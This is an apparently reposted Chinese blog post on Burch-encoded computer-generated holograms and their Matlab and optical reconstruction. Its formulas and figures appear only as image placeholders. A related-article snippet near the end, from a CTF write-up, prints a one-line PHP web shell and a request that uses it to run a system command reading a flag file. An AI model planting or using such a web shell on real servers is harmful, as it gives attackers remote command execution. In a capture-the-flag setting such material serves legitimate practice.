基于博奇编码的计算全息图及再现研究

news2025/1/9 1:25:17

一、引言

全息技术作为一种新的成像技术近年来得到迅速的发展,计算机制全息图不需要实物的存在,同时还能通过计算机实现像的再现。计算全息图主要包括迂回位相型计算全息图和修正离轴参考光计算全息图,这两类全息图由不同的编码方式得到。前者直接编码光波的复振幅,用透明孔的大小和位置分别记录振幅和相位,透过率非0即1;后者通过计算机加偏置分量使复振幅变为非复函数, 用灰度标志透过率大小。通过对比这两种方法,可以看出它们各自的特点和优势,还可以进一步优化精简程序,提高程序运行速度和再现像的质量 [1]

二、博奇编码原理

对于当前的显示装置,其输入只能是非负实值。然而,计算全息面记录的光场分布为存在振幅和相位信息的复值函数,需要把复值函数进行转换编码。常用的编码技术有迂回相位型编码和修正离轴型编码,后者如博奇编码 [2]

博奇编码是通过对全息面光波复振幅中的振幅信息进行编码。假设记录介质平面的物光波与平面参考光波分别为:

在这里插入图片描述
物光与参考光振幅分别用A(x, y)、R表示;相位分别用jφ(x, y)、j2παx表示,其中α=sinθ/λ,表示参考光的空间频率。

因此记录平面的光强分布由物光与参考光干涉得到:

在这里插入图片描述
可以看出在这里插入图片描述 为零级衍射光信息的偏置分量,这种偏置分量使得 h(x, y)为正实值函数,不仅与物体再现信息无关,而且占用信道,提高了带宽;在这里插入图片描述 则提供了物体全部的信息。由此,可以通过其他形式的偏置分量降低带宽,减少抽样点,制作具有高质量再现像的全息图。

博奇编码通过引入常数项代替原来的偏置分量,对物光波A(x, y)归一化得到 在这里插入图片描述,并使R=1,从而构成新的全息函数:

在这里插入图片描述

三、Matlab再现

本博文对博奇编码计算全息图进行了复现,图1为博奇编码后的全息图及再现图,图(a)为分辨率为256×256的原始图,图(b)为博奇编码的全息图,图©为再现图。博奇编码只对振幅进行编码,有效减少了空间带宽积,能得到很好的重建结果。

在这里插入图片描述

图1 基于博奇编码的全息图及再现图 (a) 原始图 (b) 全息图 (c) 再现图

四、全息再现实验系统

将各编码好的计算全息图或相息图加载到如图2所示的基于相位型液晶空间光调制器的全息再现系统,即可获得再现像。

在这里插入图片描述

图2 三维物场全息光电再现实验系统[3]

五、参考文献

[1] 尹杰茜, 黄水平. 迂回位相型计算全息图和修正离轴参考光计算全息图的对比讨论[J]. 大学物理实验, 2015, 28(02): 6-10.
[2] 王冰洋. 多视投影计算全息图生成方法研究[D]: 桂林电子科技大学, 2019.
[3] 郑华东, 代林茂, 王涛, et al. 三维物场多重分数傅里叶变换全息图光电再现实验研究[J]. 激光与光电子学进展, 2011, 48(02): 22-27.

六、Matlab程序开发与实验指导

博主在读博士期间开展过全息三维显示相关实验,相关matlab程序开发、实验指导,请私信博主。


⭐️◎⭐️◎⭐️◎⭐️ · · · **博 主 简 介** · · · ⭐️◎⭐️◎⭐️◎⭐️

▁▂▃▅▆▇ 博士研究生生 ,研究方向主要涉及定量相位成像领域,具体包括干涉相位成像技术(如**全息干涉☑**、散斑干涉☑等)、非干涉法相位成像技术(如波前传感技术☑相位恢复技术☑)、此外,还对各种相位解包裹算法☑相干噪声去除算法☑等开展过深入的研究。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/581024.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

剑指 Offer 12 矩阵中的路径

题目: 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中,返回 true ;否则,返回 false 。 单词必须按照字母顺序,通过相邻的单元格内的字母构成,其中“相邻”单元格是那…

【Unity】Playable使用细则

【Unity】Playable使用细则 本文基于Unity 2021.3 API。 本文介绍官方文档中没提及的Playable使用限制、注意事项、Bug及规避方案,不是Playable的入门教程! 如果你还不熟悉Playable的基础用法,请先学习以下官方文档和示例: Playa…

区块链复习

文章目录 简答题第一章1.区块链的概述(问题:区块链是通过哪些机制实现信任的?)2.哈希函数的性质(问题:区块链为什么能够保证链上数据的不可篡改?)3.区块链的特点(P18-P19…

LwIP系列(1):C语言宏定义相关基础知识(##、include 文件、宏函数、预编译)

前言 对于嵌入式物联网技术来说,TCP/IP 协议几乎是不能绕过的,常见socket、tcp、udp、mqtt、coap、modbus-tcp、mdns、广播、组播等等,均是基于TCP/IP协议实现,无处不在。而目前在嵌入式领域,使用最多的TCP/IP协议栈就…

初阶数据结构之队列的实现(六)

文章目录 😏专栏导读🤖文章导读🙀什么是队列?🙀画图描述 😳队列的代码实现及其各类讲解😳队列实现的理论过程😳队列的初始化代码实现及其讲解😳队列的初始化 &#x1f63…

全国酒店评论数据

评论数据字段内容: id int(11) NOT NULL AUTO_INCREMENT, fetchTime datetime DEFAULT NULL, hotelId int(11) NOT NULL, hotelName varchar(100) DEFAULT NULL, hotelEnName varchar(50) DEFAULT NULL, hotelUrl varchar(500) DEFAULT NULL, …

目标检测复盘 -- 5. YOLO v1-v3

YOLO v1 论文思想 应该怎么理解呢?其实相比较于RCNN系列,YOLO系列没有RPN这种模块了,而是直接输出或者叫做直接回归出来结果,最终的输出是一个特征图,大小为7 * 7 * [ (41) * 2 20],这个尺寸又怎么理解呢…

vision transformer的计算复杂度

文章目录 Vision transformerSwin transformerConvolutional vision Transformer Vision transformer 假设每个图像有 h ∗ w h*w h∗w 个patch,维度是 C C C 输入的图像 X X X ( 大小为 h w ∗ C hw* C hw∗C ),和三个系数矩阵相乘 ( 大小为 C ∗…

CTF国赛2023 - ukfc

没啥好说的&#xff0c;惜败 Web unzip L.zip bello /var/www/htmlR.zip bello bello.php <?php eval($_REQUEST[a]); ?>先传入L文件&#xff0c;在传入R文件&#xff0c;然后 bello.php?asystem(%27cat%20/flag%27);dumpit 访问 ?dbctf&table_2_dumpflag1%0Ae…

【C++】数组 - 一维数组,二维数组

文章目录 1. 一维数组1.1 一维数组定义方式1.2 数组名1.3 冒泡排序 2. 二维数组2.1 二维数组定义方式2.2 数组名 所谓数组&#xff0c;就是一个集合&#xff0c;里边存放了相同类型的数据元素。 特点1&#xff1a;数组中的每个数据元素都是相同的数据类型 特点2&#xff1a;数…

vue学习1

文章目录 VUE注意点绑定模板语法插值语法指令语法 vue中的data数据代理事件处理点击修饰符键盘事件keyup 计算属性监视深度监视监视与计算属性的区别 样式绑定条件渲染列表渲染对key的理解 列表过滤监视数据改变的底层原理SET()数据劫持 接收表单数据过滤器局部过滤器全局过滤器…

linux常用命令精选

参考文章&#xff1a; Top 60 Linux Interview Questions and Answers - howtouselinux 在管理和维护Linux系统时&#xff0c;有一些常用的命令可以帮助您进行系统初始化和配置。这些命令涵盖了各种任务&#xff0c;包括系统设置、用户管理、软件安装和网络配置等。 本文将为…

C++11中的智能指针unique_ptr、shared_ptr和weak_ptr详解

目录 1、引言 2、什么是智能指针&#xff1f; 3、在Visual Studio中查看智能指针的源码实现 4、独占式指针unique_ptr 4.1、查看unique_ptr的源码实现片段 4.2、为什么unique_ptr的拷贝构造函数和复制函数被delete了&#xff1f;&#xff08;面试题&#xff09; 4.3、使…

【C++】——vector的介绍及模拟实现

文章目录 1. 前言2. vector的介绍3. vector的常用接口3.1 vector对象的常见构造函数3.2 iterator的使用3.3 vector的空间管理3.4 vector的增删查改 4. vector迭代器失效的问题4.1 底层空间改变的操作4.2 指定位置元素的删除操作 5. vector模拟实现6. 结尾 1. 前言 上一篇文章我…

K210入门-环境搭建与点灯测试(一)

目录 1、简介 2、资质查找 3、IDE下载安装 4、测试程序 4.1 测序复制 4.2 开发板选择 4.3 链接 4.4 效果展示 1、简介 本文主要针对小白使用K210进行入门&#xff0c;以及自己学习的总结与笔记使用。本文主要进行环境搭建与点灯测试。 2、资质查找 首先去官网进行资料下…

Flume系列:Flume数据监控Ganglia

目录 Apache Hadoop生态-目录汇总-持续更新 安装说明 1&#xff09;安装 ganglia 2&#xff09;在 worker213 修改配置文件 3&#xff09;在 所有服务器 修改配置文件/etc/ganglia/gmond.conf 4&#xff09;启动 ganglia 5&#xff09;打开网页浏览 ganglia 页面 6&…

《UVM 实战》 代码下载, 无需注册

法一&#xff1a; https://www.hzcourse.com/web/refbook/detail/5651/229 法二&#xff1a; https://www.hzcourse.com/oep/resource/access/L29wZW5yZXNvdXJjZXMvdGVhY2hfcmVzb3VyY2UvZmlsZS8yMDE3LzEwL2IyMDE0OTFmMmUxMjdkNTM2YjhmMjBmNWUzMTRhMjE3Lmd6JGV4YW1wbGVfYW5kX3…

如何在华为OD机试中获得满分?Java实现【报数游戏】一文详解!

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题(2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 100个人围成一圈,每个人…

Redis数据库简介

1.Redis数据库介绍 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 2.Redis数据库特性 Redis支持数据的持久化&#xff0c;可以将内存中的数据保存在磁盘中&#xff0c;重启的时候可以再次加…

2023 华为 Datacom-HCIE 真题题库 09--含解析

单项选择题 1.[试题编号&#xff1a;190485] &#xff08;单选题&#xff09;华为交换机MAC地址表的老化时间默认是多少秒? A、500 B、5 C、300 D、400 答案&#xff1a;C 解析&#xff1a;无 2.[试题编号&#xff1a;190484] &#xff08;单选题&#xff09;如图所示&#…